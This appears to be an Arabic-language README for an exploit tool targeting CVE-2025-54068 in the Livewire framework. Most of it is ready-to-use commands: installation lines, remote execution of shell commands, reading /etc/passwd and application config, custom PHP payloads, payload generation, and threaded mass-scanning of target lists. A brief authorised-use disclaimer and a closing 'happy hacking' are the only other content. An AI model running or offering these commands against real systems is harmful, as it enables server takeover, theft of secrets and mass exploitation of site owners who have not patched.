haxorstars/cve-2025-54068أداة مصممة لاستغلال CVE-2025-54068 وتنفيذ الأوامر عن بُعد لمشروع Livewire.
أداة مصممة لاستغلال CVE-2025-54068 وتنفيذ الأوامر عن بُعد إذا كان APP_KEY لمشروع Livewire معروفًا.
هذه الأداة هي نسخة معدلة من المشروع الأصلي بواسطة Synacktiv:
المفهوم الأساسي والمنهجية مبنيان على التنفيذ الأصلي. تتضمن هذه النسخة تحسينات طفيفة وميزات إضافية لتحسين سهولة الاستخدام والمرونة.
قم بتثبيت الأداة باستخدام pipx:
pipx install git+https://github.com/haxorstars/CVE-2025-54068
أو باستخدام uv:
uv tool install git+https://github.com/haxorstars/CVE-2025-54068
تشغيل الأداة ضد هدف واحد:
livewire-rce-2025 -u target.com
مع معلمات مخصصة:
livewire-rce-2025 -u https://target.com -p "id;uname -a;pwd;ls -la"
تنفيذ وظائف مخصصة محددة مسبقًا:
livewire-rce-2025 -u target.com --custom-function "shell:ls -la"
livewire-rce-2025 -u target.com --custom-function "read:/etc/passwd"
livewire-rce-2025 -u target.com --custom-function "phpinfo"
livewire-rce-2025 -u target.com --custom-function "config"
دمج عدة وظائف في أمر واحد:
livewire-rce-2025 -u target.com --custom-function "shell:whoami && shell:id && read:/etc/passwd"
استخدام ملف PHP الخاص بك كحمولة:
livewire-rce-2025 -u target.com --custom-file custom.php --param "shell:id"
إنشاء الحمولة دون إرسالها إلى الهدف:
livewire-rce-2025 -generate-payload --custom-function "shell:ls -la"
أو باستخدام ملف PHP مخصص:
livewire-rce-2025 -generate-payload --custom-file custom.php
مسح أهداف متعددة من ملف:
livewire-rce-2025 -mass-check targets.txt -o results.json
مع عدد مخصص من الخيوط:
livewire-rce-2025 -mass-check targets.txt -t 20 -o results.json
هذه الأداة مخصصة لأغراض التعليم واختبار الأمان المصرح به فقط. لا تستخدمها ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
اختراق سعيد 😄